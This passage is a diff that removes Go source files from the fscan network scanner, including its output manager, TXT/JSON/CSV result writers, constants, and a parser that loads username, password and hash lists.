MaxMillisecondDisplay = time.Second // 毫秒显示的最大时长
MaxSecondDisplay = time.Minute // 秒显示的最大时长
MaxMinuteDisplay = time.Hour // 分钟显示的最大时长
// 慢速输出延迟
SlowOutputDelay = 50 * time.Millisecond
// 进度条清除延迟
ProgressClearDelay = 10 * time.Millisecond
)
// =============================================================================
// 日志前缀常量 (从Formatter.go迁移)
// =============================================================================
const (
PrefixSuccess = "[+]" // 成功日志前缀
PrefixInfo = "[*]" // 信息日志前缀
PrefixError = "[-]" // 错误日志前缀
PrefixDefault = " " // 默认日志前缀
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
DefaultLevel = LevelAll // 默认日志级别
DefaultEnableColor = true // 默认启用彩色输出
DefaultSlowOutput = false // 默认不启用慢速输出
DefaultShowProgress = true // 默认显示进度条
)
// =============================================================================
// 默认颜色映射
// =============================================================================
// GetDefaultLevelColors 获取默认的日志级别颜色映射
func GetDefaultLevelColors() map[LogLevel]interface{} {
return map[LogLevel]interface{}{
LevelError: color.FgBlue, // 错误日志显示蓝色
LevelBase: color.FgYellow, // 基础日志显示黄色
LevelInfo: color.FgGreen, // 信息日志显示绿色
LevelSuccess: color.FgRed, // 成功日志显示红色
LevelDebug: color.FgWhite, // 调试日志显示白色
}
}

View File

@ -1,256 +0,0 @@
package output
import (
"fmt"
"os"
"path/filepath"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// Manager 输出管理器
type Manager struct {
mu sync.RWMutex
config *ManagerConfig
writer OutputWriter
reader OutputReader
statistics *Statistics
buffer []*ScanResult
bufferMutex sync.Mutex
flushTicker *time.Ticker
stopChan chan struct{}
initialized bool
closed bool
}
// NewManager 创建新的输出管理器
func NewManager(config *ManagerConfig) (*Manager, error) {
if config == nil {
return nil, fmt.Errorf(i18n.GetText("output_config_nil"))
}
// 验证输出格式
if err := validateFormat(config.Format); err != nil {
return nil, err
}
// 创建输出目录
if err := createOutputDir(config.OutputPath); err != nil {
return nil, err
}
manager := &Manager{
config: config,
statistics: NewStatistics(),
stopChan: make(chan struct{}),
}
// 初始化写入器
if err := manager.initializeWriter(); err != nil {
return nil, err
}
// 初始化读取器
manager.initializeReader()
// 如果启用缓冲,初始化缓冲区
if config.EnableBuffer {
manager.buffer = make([]*ScanResult, 0, config.BufferSize)
// 如果启用自动刷新,启动定时器
if config.AutoFlush {
manager.startAutoFlush()
}
}
manager.initialized = true
return manager, nil
}
// validateFormat 验证输出格式
func validateFormat(format OutputFormat) error {
switch format {
case FormatTXT, FormatJSON, FormatCSV:
return nil
default:
return fmt.Errorf(i18n.GetText("output_unsupported_format"), format)
}
}
// createOutputDir 创建输出目录
func createOutputDir(outputPath string) error {
dir := filepath.Dir(outputPath)
return os.MkdirAll(dir, DefaultDirPermissions)
}
// initializeWriter 初始化写入器
func (m *Manager) initializeWriter() error {
var writer OutputWriter
var err error
switch m.config.Format {
case FormatTXT:
writer, err = NewTXTWriter(m.config.OutputPath)
case FormatJSON:
writer, err = NewJSONWriter(m.config.OutputPath)
case FormatCSV:
writer, err = NewCSVWriter(m.config.OutputPath)
default:
return fmt.Errorf(i18n.GetText("output_unsupported_format"), m.config.Format)
}
if err != nil {
return fmt.Errorf(i18n.GetText("output_writer_init_failed"), err)
}
m.writer = writer
// 写入头部(如果需要)
return m.writer.WriteHeader()
}
// initializeReader 初始化读取器
func (m *Manager) initializeReader() {
// 目前只有CSV格式支持读取
if m.config.Format == FormatCSV {
m.reader = NewCSVReader(m.config.OutputPath)
}
}
// startAutoFlush 启动自动刷新
func (m *Manager) startAutoFlush() {
m.flushTicker = time.NewTicker(m.config.FlushInterval)
go func() {
for {
select {
case <-m.flushTicker.C:
m.flushBuffer()
case <-m.stopChan:
return
}
}
}()
}
// SaveResult 保存扫描结果
func (m *Manager) SaveResult(result *ScanResult) error {
m.mu.RLock()
defer m.mu.RUnlock()
if !m.initialized {
return fmt.Errorf(i18n.GetText("output_manager_not_init"))
}
if m.closed {
return fmt.Errorf(i18n.GetText("output_manager_closed"))
}
// 更新统计信息
m.statistics.AddResult(result.Type)
// 如果启用缓冲,先添加到缓冲区
if m.config.EnableBuffer {
return m.addToBuffer(result)
}
// 直接写入
return m.writer.Write(result)
}
// addToBuffer 添加结果到缓冲区
func (m *Manager) addToBuffer(result *ScanResult) error {
m.bufferMutex.Lock()
defer m.bufferMutex.Unlock()
m.buffer = append(m.buffer, result)
// 如果缓冲区已满,立即刷新
if len(m.buffer) >= m.config.BufferSize {
return m.flushBufferUnsafe()
}
return nil
}
// flushBuffer 刷新缓冲区(加锁版本)
func (m *Manager) flushBuffer() error {
m.bufferMutex.Lock()
defer m.bufferMutex.Unlock()
return m.flushBufferUnsafe()
}
// flushBufferUnsafe 刷新缓冲区(无锁版本,内部使用)
func (m *Manager) flushBufferUnsafe() error {
if len(m.buffer) == 0 {
return nil
}
// 批量写入
for _, result := range m.buffer {
if err := m.writer.Write(result); err != nil {
return fmt.Errorf(i18n.GetText("output_write_failed"), err)
}
}
// 刷新写入器
if err := m.writer.Flush(); err != nil {
return fmt.Errorf(i18n.GetText("output_flush_failed"), err)
}
// 清空缓冲区
m.buffer = m.buffer[:0]
return nil
}
// =============================================================================================
// 已删除的死代码(未使用):
// GetResults, GetResultsWithFilter, GetStatistics, Flush 方法
// =============================================================================================
// Close 关闭输出管理器
func (m *Manager) Close() error {
m.mu.Lock()
defer m.mu.Unlock()
if m.closed {
return nil
}
// 停止自动刷新
if m.flushTicker != nil {
m.flushTicker.Stop()
close(m.stopChan)
}
// 最后一次刷新缓冲区
if m.config.EnableBuffer {
m.flushBufferUnsafe()
}
// 关闭写入器
var err error
if m.writer != nil {
err = m.writer.Close()
}
// 关闭读取器
if m.reader != nil {
if closeErr := m.reader.Close(); closeErr != nil && err == nil {
err = closeErr
}
}
m.closed = true
return err
}
// =============================================================================================
// 已删除的死代码(未使用):
// IsInitialized, IsClosed, GetConfig, UpdateConfig 方法
// =============================================================================================
// =============================================================================================
// 已删除的死代码未使用globalManager 全局变量及 SetGlobalManager 函数
// =============================================================================================

View File

@ -1,102 +0,0 @@
package output
import (
"sync"
"time"
)
// ScanResult 扫描结果结构
type ScanResult struct {
Time time.Time `json:"time"` // 发现时间
Type ResultType `json:"type"` // 结果类型
Target string `json:"target"` // 目标(IP/域名/URL)
Status string `json:"status"` // 状态描述
Details map[string]interface{} `json:"details"` // 详细信息
}
// OutputWriter 输出写入器接口
type OutputWriter interface {
Write(result *ScanResult) error
WriteHeader() error
Flush() error
Close() error
GetFormat() OutputFormat
}
// OutputReader 输出读取器接口
type OutputReader interface {
Read() ([]*ScanResult, error)
ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error)
Close() error
}
// ResultFilter 结果过滤器
type ResultFilter struct {
Types []ResultType `json:"types"` // 过滤的结果类型
Targets []string `json:"targets"` // 过滤的目标
TimeRange *TimeRange `json:"time_range"` // 时间范围
Limit int `json:"limit"` // 限制数量
Offset int `json:"offset"` // 偏移量
}
// TimeRange 时间范围
type TimeRange struct {
Start time.Time `json:"start"` // 开始时间
End time.Time `json:"end"` // 结束时间
}
// ManagerConfig 输出管理器配置
type ManagerConfig struct {
OutputPath string `json:"output_path"` // 输出路径
Format OutputFormat `json:"format"` // 输出格式
EnableBuffer bool `json:"enable_buffer"` // 是否启用缓冲
BufferSize int `json:"buffer_size"` // 缓冲区大小
AutoFlush bool `json:"auto_flush"` // 是否自动刷新
FlushInterval time.Duration `json:"flush_interval"` // 刷新间隔
}
// DefaultManagerConfig 默认管理器配置
func DefaultManagerConfig(outputPath string, format OutputFormat) *ManagerConfig {
return &ManagerConfig{
OutputPath: outputPath,
Format: format,
EnableBuffer: DefaultEnableBuffer,
BufferSize: DefaultBufferSize,
AutoFlush: DefaultAutoFlush,
FlushInterval: DefaultFlushInterval,
}
}
// Statistics 输出统计信息
type Statistics struct {
mu sync.RWMutex
TotalResults int64 `json:"total_results"` // 总结果数
TypeCounts map[ResultType]int64 `json:"type_counts"` // 各类型计数
StartTime time.Time `json:"start_time"` // 开始时间
LastUpdate time.Time `json:"last_update"` // 最后更新时间
}
// NewStatistics 创建新的统计信息
func NewStatistics() *Statistics {
return &Statistics{
TypeCounts: make(map[ResultType]int64),
StartTime: time.Now(),
LastUpdate: time.Now(),
}
}
// AddResult 添加结果统计
func (s *Statistics) AddResult(resultType ResultType) {
s.mu.Lock()
defer s.mu.Unlock()
s.TotalResults++
s.TypeCounts[resultType]++
s.LastUpdate = time.Now()
}
// =============================================================================================
// 已删除的死代码(未使用):
// GetTotalResults, GetTypeCounts, GetDuration, Reset 方法
// =============================================================================================

View File

@ -1,459 +0,0 @@
package output
import (
"encoding/csv"
"encoding/json"
"fmt"
"os"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// TXTWriter 文本格式写入器
type TXTWriter struct {
file *os.File
mu sync.Mutex
closed bool
}
// NewTXTWriter 创建文本写入器
func NewTXTWriter(filePath string) (*TXTWriter, error) {
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "文本", err)
}
return &TXTWriter{
file: file,
}, nil
}
// WriteHeader 写入头部(文本格式无需头部)
func (w *TXTWriter) WriteHeader() error {
return nil
}
// Write 写入扫描结果
func (w *TXTWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf(i18n.GetText("output_writer_closed"))
}
// 格式化 Details 为键值对字符串
var details string
if len(result.Details) > 0 {
pairs := make([]string, 0, len(result.Details))
for k, v := range result.Details {
pairs = append(pairs, fmt.Sprintf(TxtKeyValueFormat, k, v))
}
details = strings.Join(pairs, TxtDetailsSeparator)
}
// 使用类似原有格式的文本输出
txt := fmt.Sprintf(TxtOutputTemplate,
result.Time.Format(TxtTimeFormat),
result.Type,
result.Target,
result.Status,
)
if details != "" {
txt += fmt.Sprintf(TxtDetailsFormat, details)
}
txt += TxtNewline
_, err := w.file.WriteString(txt)
return err
}
// Flush 刷新缓冲区
func (w *TXTWriter) Flush() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
return w.file.Sync()
}
// Close 关闭写入器
func (w *TXTWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
w.closed = true
return w.file.Close()
}
// GetFormat 获取格式类型
func (w *TXTWriter) GetFormat() OutputFormat {
return FormatTXT
}
// JSONWriter JSON格式写入器
type JSONWriter struct {
file *os.File
encoder *json.Encoder
mu sync.Mutex
closed bool
}
// NewJSONWriter 创建JSON写入器
func NewJSONWriter(filePath string) (*JSONWriter, error) {
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "JSON", err)
}
encoder := json.NewEncoder(file)
encoder.SetIndent(JSONIndentPrefix, JSONIndentString)
return &JSONWriter{
file: file,
encoder: encoder,
}, nil
}
// WriteHeader 写入头部JSON格式无需头部
func (w *JSONWriter) WriteHeader() error {
return nil
}
// Write 写入扫描结果
func (w *JSONWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf(i18n.GetText("output_writer_closed"))
}
return w.encoder.Encode(result)
}
// Flush 刷新缓冲区
func (w *JSONWriter) Flush() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
return w.file.Sync()
}
// Close 关闭写入器
func (w *JSONWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
w.closed = true
return w.file.Close()
}
// GetFormat 获取格式类型
func (w *JSONWriter) GetFormat() OutputFormat {
return FormatJSON
}
// CSVWriter CSV格式写入器
type CSVWriter struct {
file *os.File
csvWriter *csv.Writer
mu sync.Mutex
closed bool
headerWritten bool
}
// NewCSVWriter 创建CSV写入器
func NewCSVWriter(filePath string) (*CSVWriter, error) {
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "CSV", err)
}
csvWriter := csv.NewWriter(file)
return &CSVWriter{
file: file,
csvWriter: csvWriter,
}, nil
}
// WriteHeader 写入CSV头部
func (w *CSVWriter) WriteHeader() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.headerWritten {
return nil
}
headers := CSVHeaders
err := w.csvWriter.Write(headers)
if err != nil {
return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
}
w.csvWriter.Flush()
w.headerWritten = true
return w.csvWriter.Error()
}
// Write 写入扫描结果
func (w *CSVWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf(i18n.GetText("output_writer_closed"))
}
// 确保头部已写入
if !w.headerWritten {
if err := w.writeHeaderUnsafe(); err != nil {
return err
}
}
// 序列化Details为JSON字符串
details, err := json.Marshal(result.Details)
if err != nil {
details = []byte(EmptyJSONObject)
}
record := []string{
result.Time.Format(DefaultTimeFormat),
string(result.Type),
result.Target,
result.Status,
string(details),
}
err = w.csvWriter.Write(record)
if err != nil {
return err
}
w.csvWriter.Flush()
return w.csvWriter.Error()
}
// writeHeaderUnsafe 不安全的写入头部(内部使用,无锁)
func (w *CSVWriter) writeHeaderUnsafe() error {
if w.headerWritten {
return nil
}
headers := CSVHeaders
err := w.csvWriter.Write(headers)
if err != nil {
return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
}
w.csvWriter.Flush()
w.headerWritten = true
return w.csvWriter.Error()
}
// Flush 刷新缓冲区
func (w *CSVWriter) Flush() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
w.csvWriter.Flush()
return w.csvWriter.Error()
}
// Close 关闭写入器
func (w *CSVWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
w.csvWriter.Flush()
err := w.csvWriter.Error()
w.closed = true
if fileErr := w.file.Close(); fileErr != nil && err == nil {
err = fileErr
}
return err
}
// GetFormat 获取格式类型
func (w *CSVWriter) GetFormat() OutputFormat {
return FormatCSV
}
// CSVReader CSV格式读取器
type CSVReader struct {
filePath string
mu sync.Mutex
}
// NewCSVReader 创建CSV读取器
func NewCSVReader(filePath string) *CSVReader {
return &CSVReader{
filePath: filePath,
}
}
// Read 读取所有结果
func (r *CSVReader) Read() ([]*ScanResult, error) {
return r.ReadWithFilter(nil)
}
// ReadWithFilter 带过滤条件读取结果
func (r *CSVReader) ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error) {
r.mu.Lock()
defer r.mu.Unlock()
file, err := os.Open(r.filePath)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_open_file_failed"), err)
}
defer file.Close()
reader := csv.NewReader(file)
records, err := reader.ReadAll()
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_read_file_failed"), err)
}
var results []*ScanResult
for i, row := range records {
// 跳过CSV头部
if i == CSVHeaderRowIndex {
continue
}
if len(row) < CSVMinColumns {
continue // 数据不完整
}
result, err := r.parseCSVRow(row)
if err != nil {
continue // 跳过解析失败的行
}
// 应用过滤器
if filter != nil && !r.matchFilter(result, filter) {
continue
}
results = append(results, result)
// 应用限制
if filter != nil && filter.Limit > 0 && len(results) >= filter.Limit {
break
}
}
return results, nil
}
// parseCSVRow 解析CSV行
func (r *CSVReader) parseCSVRow(row []string) (*ScanResult, error) {
// 解析时间
t, err := parseTime(row[CSVTimeColumnIndex])
if err != nil {
return nil, err
}
// 解析Details
var details map[string]interface{}
if err := json.Unmarshal([]byte(row[CSVDetailsColumnIndex]), &details); err != nil {
details = make(map[string]interface{})
}
return &ScanResult{
Time: t,
Type: ResultType(row[CSVTypeColumnIndex]),
Target: row[CSVTargetColumnIndex],
Status: row[CSVStatusColumnIndex],
Details: details,
}, nil
}
// matchFilter 检查结果是否匹配过滤器
func (r *CSVReader) matchFilter(result *ScanResult, filter *ResultFilter) bool {
// 检查类型过滤
if len(filter.Types) > 0 {
found := false
for _, t := range filter.Types {
if result.Type == t {
found = true
break
}
}
if !found {
return false
}
}
// 检查目标过滤
if len(filter.Targets) > 0 {
found := false
for _, target := range filter.Targets {
if strings.Contains(result.Target, target) {
found = true
break
}
}
if !found {
return false
}
}
// 检查时间范围过滤
if filter.TimeRange != nil {
if result.Time.Before(filter.TimeRange.Start) || result.Time.After(filter.TimeRange.End) {
return false
}
}
return true
}
// Close 关闭读取器
func (r *CSVReader) Close() error {
return nil // CSV读取器无需特殊关闭操作
}
// parseTime 解析时间字符串
func parseTime(timeStr string) (time.Time, error) {
// 尝试多种时间格式
formats := GetSupportedTimeFormats()
for _, format := range formats {
if t, err := time.Parse(format, timeStr); err == nil {
return t, nil
}
}
return time.Time{}, fmt.Errorf(i18n.GetText("output_parse_time_failed"), timeStr)
}

View File

@ -1,129 +0,0 @@
package output
import (
"os"
"time"
)
/*
constants.go - 输出系统常量定义
统一管理common/output包中的所有常量便于查看和编辑
*/
// =============================================================================
// 输出格式常量 (从Types.go迁移)
// =============================================================================
// OutputFormat 输出格式类型
type OutputFormat string
const (
FormatTXT OutputFormat = "txt" // 文本格式
FormatJSON OutputFormat = "json" // JSON格式
FormatCSV OutputFormat = "csv" // CSV格式
)
// =============================================================================
// 结果类型常量 (从Types.go迁移)
// =============================================================================
// ResultType 定义结果类型
type ResultType string
const (
TypeHost ResultType = "HOST" // 主机存活
TypePort ResultType = "PORT" // 端口开放
TypeService ResultType = "SERVICE" // 服务识别
TypeVuln ResultType = "VULN" // 漏洞发现
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
// 默认缓冲区配置
DefaultBufferSize = 100 // 默认缓冲区大小
DefaultEnableBuffer = true // 默认启用缓冲
DefaultAutoFlush = true // 默认启用自动刷新
DefaultFlushInterval = 5 * time.Second // 默认刷新间隔
// 文件权限常量
DefaultFilePermissions = 0644 // 默认文件权限
DefaultDirPermissions = 0755 // 默认目录权限
// 文件操作标志
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND // 默认文件打开标志
)
// =============================================================================
// CSV格式常量 (从Writers.go迁移)
// =============================================================================
var (
// CSV头部字段
CSVHeaders = []string{"Time", "Type", "Target", "Status", "Details"}
)
// =============================================================================
// 时间格式常量 (从Writers.go迁移)
// =============================================================================
const (
// 时间格式
DefaultTimeFormat = "2006-01-02 15:04:05" // 默认时间格式
ISO8601TimeFormat = "2006-01-02T15:04:05Z07:00" // ISO8601时间格式
ISO8601MilliFormat = "2006-01-02T15:04:05.000Z07:00" // ISO8601毫秒格式
)
// GetSupportedTimeFormats 获取支持的时间格式列表
func GetSupportedTimeFormats() []string {
return []string{
DefaultTimeFormat,
ISO8601TimeFormat,
ISO8601MilliFormat,
}
}
// =============================================================================
// JSON常量
// =============================================================================
const (
// JSON格式化
JSONIndentPrefix = "" // JSON缩进前缀
JSONIndentString = " " // JSON缩进字符串
// 空JSON对象
EmptyJSONObject = "{}"
)
// =============================================================================
// 文本格式常量 (从Writers.go迁移)
// =============================================================================
const (
// 文本输出格式
TxtTimeFormat = "2006-01-02 15:04:05" // 文本时间格式
TxtOutputTemplate = "[%s] [%s] %s - %s" // 文本输出模板
TxtDetailsFormat = " (%s)" // 详细信息格式
TxtNewline = "\n" // 换行符
TxtDetailsSeparator = ", " // 详细信息分隔符
TxtKeyValueFormat = "%s=%v" // 键值对格式
)
// =============================================================================
// CSV相关常量
// =============================================================================
const (
CSVMinColumns = 5 // CSV最小列数
CSVHeaderRowIndex = 0 // CSV头部行索引
CSVTimeColumnIndex = 0 // 时间列索引
CSVTypeColumnIndex = 1 // 类型列索引
CSVTargetColumnIndex = 2 // 目标列索引
CSVStatusColumnIndex = 3 // 状态列索引
CSVDetailsColumnIndex = 4 // 详细信息列索引
)

View File

@ -1,365 +0,0 @@
package parsers
import (
"encoding/hex"
"fmt"
"regexp"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// CredentialParser 凭据解析器
type CredentialParser struct {
fileReader *FileReader
mu sync.RWMutex //nolint:unused // reserved for future thread safety
hashRegex *regexp.Regexp
options *CredentialParserOptions
}
// CredentialParserOptions 凭据解析器选项
type CredentialParserOptions struct {
MaxUsernameLength int `json:"max_username_length"`
MaxPasswordLength int `json:"max_password_length"`
AllowEmptyPasswords bool `json:"allow_empty_passwords"`
ValidateHashes bool `json:"validate_hashes"`
DeduplicateUsers bool `json:"deduplicate_users"`
DeduplicatePasswords bool `json:"deduplicate_passwords"`
EnableStatistics bool `json:"enable_statistics"`
}
// DefaultCredentialParserOptions 默认凭据解析器选项
func DefaultCredentialParserOptions() *CredentialParserOptions {
return &CredentialParserOptions{
MaxUsernameLength: DefaultMaxUsernameLength,
MaxPasswordLength: DefaultMaxPasswordLength,
AllowEmptyPasswords: DefaultAllowEmptyPasswords,
ValidateHashes: DefaultValidateHashes,
DeduplicateUsers: DefaultDeduplicateUsers,
DeduplicatePasswords: DefaultDeduplicatePasswords,
EnableStatistics: DefaultCredentialsEnableStatistics,
}
}
// NewCredentialParser 创建凭据解析器
func NewCredentialParser(fileReader *FileReader, options *CredentialParserOptions) *CredentialParser {
if options == nil {
options = DefaultCredentialParserOptions()
}
// 编译哈希验证正则表达式 (MD5: 32位十六进制)
hashRegex := CompiledHashRegex
return &CredentialParser{
fileReader: fileReader,
hashRegex: hashRegex,
options: options,
}
}
// CredentialInput 凭据输入参数
type CredentialInput struct {
// 直接输入
Username string `json:"username"`
Password string `json:"password"`
AddUsers string `json:"add_users"`
AddPasswords string `json:"add_passwords"`
HashValue string `json:"hash_value"`
SshKeyPath string `json:"ssh_key_path"`
Domain string `json:"domain"`
// 文件输入
UsersFile string `json:"users_file"`
PasswordsFile string `json:"passwords_file"`
HashFile string `json:"hash_file"`
}
// Parse 解析凭据配置
func (cp *CredentialParser) Parse(input *CredentialInput, options *ParserOptions) (*ParseResult, error) {
if input == nil {
return nil, NewParseError(ErrorTypeInputError, "凭据输入为空", "", 0, ErrEmptyInput)
}
startTime := time.Now()
result := &ParseResult{
Config: &ParsedConfig{
Credentials: &CredentialConfig{
SshKeyPath: input.SshKeyPath,
Domain: input.Domain,
},
},
Success: true,
}
var errors []error
var warnings []string
// 解析用户名
usernames, userErrors, userWarnings := cp.parseUsernames(input)
errors = append(errors, userErrors...)
warnings = append(warnings, userWarnings...)
// 解析密码
passwords, passErrors, passWarnings := cp.parsePasswords(input)
errors = append(errors, passErrors...)
warnings = append(warnings, passWarnings...)
// 解析哈希值
hashValues, hashBytes, hashErrors, hashWarnings := cp.parseHashes(input)
errors = append(errors, hashErrors...)
warnings = append(warnings, hashWarnings...)
// 更新配置
result.Config.Credentials.Usernames = usernames
result.Config.Credentials.Passwords = passwords
result.Config.Credentials.HashValues = hashValues
result.Config.Credentials.HashBytes = hashBytes
// 生成统计信息
if cp.options.EnableStatistics {
result.Config.Credentials.Statistics = cp.generateStatistics(usernames, passwords, hashValues, hashBytes)
}
// 设置结果状态
result.Errors = errors
result.Warnings = warnings
result.ParseTime = time.Since(startTime)
result.Success = len(errors) == 0
return result, nil
}
// parseUsernames 解析用户名
func (cp *CredentialParser) parseUsernames(input *CredentialInput) ([]string, []error, []string) {
var usernames []string
var errors []error
var warnings []string
// 解析命令行用户名
if input.Username != "" {
users := strings.Split(input.Username, ",")
for _, user := range users {
if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
usernames = append(usernames, processedUser)
} else if err != nil {
errors = append(errors, NewParseError(ErrorTypeUsernameError, err.Error(), "command line", 0, err))
}
}
}
// 从文件读取用户名
if input.UsersFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.UsersFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取用户名文件失败", input.UsersFile, 0, err))
} else {
for i, line := range fileResult.Lines {
if processedUser, valid, err := cp.validateUsername(line); valid {
usernames = append(usernames, processedUser)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("用户名文件第%d行无效: %s", i+1, err.Error()))
}
}
}
}
// 处理额外用户名
if input.AddUsers != "" {
extraUsers := strings.Split(input.AddUsers, ",")
for _, user := range extraUsers {
if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
usernames = append(usernames, processedUser)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("额外用户名无效: %s", err.Error()))
}
}
}
// 去重
if cp.options.DeduplicateUsers {
usernames = cp.removeDuplicateStrings(usernames)
}
return usernames, errors, warnings
}
// parsePasswords 解析密码
func (cp *CredentialParser) parsePasswords(input *CredentialInput) ([]string, []error, []string) {
var passwords []string
var errors []error
var warnings []string
// 解析命令行密码
if input.Password != "" {
passes := strings.Split(input.Password, ",")
for _, pass := range passes {
if processedPass, valid, err := cp.validatePassword(pass); valid {
passwords = append(passwords, processedPass)
} else if err != nil {
errors = append(errors, NewParseError(ErrorTypePasswordError, err.Error(), "command line", 0, err))
}
}
}
// 从文件读取密码
if input.PasswordsFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.PasswordsFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取密码文件失败", input.PasswordsFile, 0, err))
} else {
for i, line := range fileResult.Lines {
if processedPass, valid, err := cp.validatePassword(line); valid {
passwords = append(passwords, processedPass)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("密码文件第%d行无效: %s", i+1, err.Error()))
}
}
}
}
// 处理额外密码
if input.AddPasswords != "" {
extraPasses := strings.Split(input.AddPasswords, ",")
for _, pass := range extraPasses {
if processedPass, valid, err := cp.validatePassword(pass); valid {
passwords = append(passwords, processedPass)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("额外密码无效: %s", err.Error()))
}
}
}
// 去重
if cp.options.DeduplicatePasswords {
passwords = cp.removeDuplicateStrings(passwords)
}
return passwords, errors, warnings
}
// parseHashes 解析哈希值
func (cp *CredentialParser) parseHashes(input *CredentialInput) ([]string, [][]byte, []error, []string) {
var hashValues []string
var hashBytes [][]byte
var errors []error
var warnings []string
// 解析单个哈希值
if input.HashValue != "" {
if valid, err := cp.validateHash(input.HashValue); valid {
hashValues = append(hashValues, input.HashValue)
} else {
errors = append(errors, NewParseError(ErrorTypeHashError, err.Error(), "command line", 0, err))
}
}
// 从文件读取哈希值
if input.HashFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.HashFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取哈希文件失败", input.HashFile, 0, err))
} else {
for i, line := range fileResult.Lines {
if valid, err := cp.validateHash(line); valid {
hashValues = append(hashValues, line)
} else {
warnings = append(warnings, fmt.Sprintf("哈希文件第%d行无效: %s", i+1, err.Error()))
}
}
}
}
// 转换哈希值为字节数组
for _, hash := range hashValues {
if hashByte, err := hex.DecodeString(hash); err == nil {
hashBytes = append(hashBytes, hashByte)
} else {
warnings = append(warnings, fmt.Sprintf("哈希值解码失败: %s", hash))
}
}
return hashValues, hashBytes, errors, warnings
}
// validateUsername 验证用户名
func (cp *CredentialParser) validateUsername(username string) (string, bool, error) {
if len(username) == 0 {
return "", false, nil // 允许空用户名,但不添加到列表
}
if len(username) > cp.options.MaxUsernameLength {
return "", false, fmt.Errorf(i18n.GetText("parser_username_too_long"), len(username), cp.options.MaxUsernameLength)
}
// 检查特殊字符
if strings.ContainsAny(username, InvalidUsernameChars) {
return "", false, fmt.Errorf("%s", i18n.GetText("parser_username_invalid_chars"))
}
return username, true, nil
}
// validatePassword 验证密码
func (cp *CredentialParser) validatePassword(password string) (string, bool, error) {
if len(password) == 0 && !cp.options.AllowEmptyPasswords {
return "", false, fmt.Errorf("%s", i18n.GetText("parser_password_empty"))
}
if len(password) > cp.options.MaxPasswordLength {
return "", false, fmt.Errorf(i18n.GetText("parser_password_too_long"), len(password), cp.options.MaxPasswordLength)
}
return password, true, nil
}
// validateHash 验证哈希值
func (cp *CredentialParser) validateHash(hash string) (bool, error) {
if !cp.options.ValidateHashes {
return true, nil
}
hash = strings.TrimSpace(hash)
if len(hash) == 0 {
return false, fmt.Errorf("%s", i18n.GetText("parser_hash_empty"))
}
if !cp.hashRegex.MatchString(hash) {
return false, fmt.Errorf("%s", i18n.GetText("parser_hash_invalid_format"))
}
return true, nil
}
// removeDuplicateStrings 去重字符串切片
func (cp *CredentialParser) removeDuplicateStrings(slice []string) []string {
seen := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// generateStatistics 生成统计信息
func (cp *CredentialParser) generateStatistics(usernames, passwords, hashValues []string, hashBytes [][]byte) *CredentialStats {
return &CredentialStats{
TotalUsernames: len(usernames),
TotalPasswords: len(passwords),
TotalHashes: len(hashValues),
UniqueUsernames: len(cp.removeDuplicateStrings(usernames)),
UniquePasswords: len(cp.removeDuplicateStrings(passwords)),
ValidHashes: len(hashBytes),
InvalidHashes: len(hashValues) - len(hashBytes),
}
}
// =============================================================================================
// 已删除的死代码未使用Validate 和 GetStatistics 方法
// =============================================================================================

View File

@ -1,293 +0,0 @@
package parsers
import (
"bufio"
"context"
"fmt"
"os"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// FileReader 高性能文件读取器
type FileReader struct {
mu sync.RWMutex
cache map[string]*FileResult // 文件缓存
maxCacheSize int // 最大缓存大小
enableCache bool // 是否启用缓存
maxFileSize int64 // 最大文件大小
timeout time.Duration // 读取超时
enableValidation bool // 是否启用内容验证
}
// FileResult 文件读取结果
type FileResult struct {
Lines []string `json:"lines"`
Source *FileSource `json:"source"`
ReadTime time.Duration `json:"read_time"`
ValidLines int `json:"valid_lines"`
Errors []error `json:"errors,omitempty"`
